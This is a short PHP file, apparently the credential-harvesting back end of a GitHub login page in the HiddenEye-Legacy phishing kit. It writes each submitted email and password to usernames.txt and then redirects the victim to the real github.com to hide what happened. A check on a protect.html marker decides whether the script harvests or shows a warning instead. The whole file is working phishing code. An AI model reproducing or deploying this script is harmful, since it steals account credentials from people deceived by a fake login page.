HiddenEye-Legacy/WebPages/GitHub/login.php
2018-03-26 19:54:30 +05:30

16 lines
492 B
PHP

<?php
$var = $_POST['email'];
$var2 = $_POST['pass'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>There's a Phishing Page generated by SocialFish in this website.</title></html>";
if($myFile == $searchString) {
file_put_contents("usernames.txt", "[EMAIL]: " . $var . " [PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location: https://github.com');
}
if($myFile != $searchString) {
echo "***ALERT! I AM A FAKE PAGE | DO NOT TRUST ME";
}
exit();
?>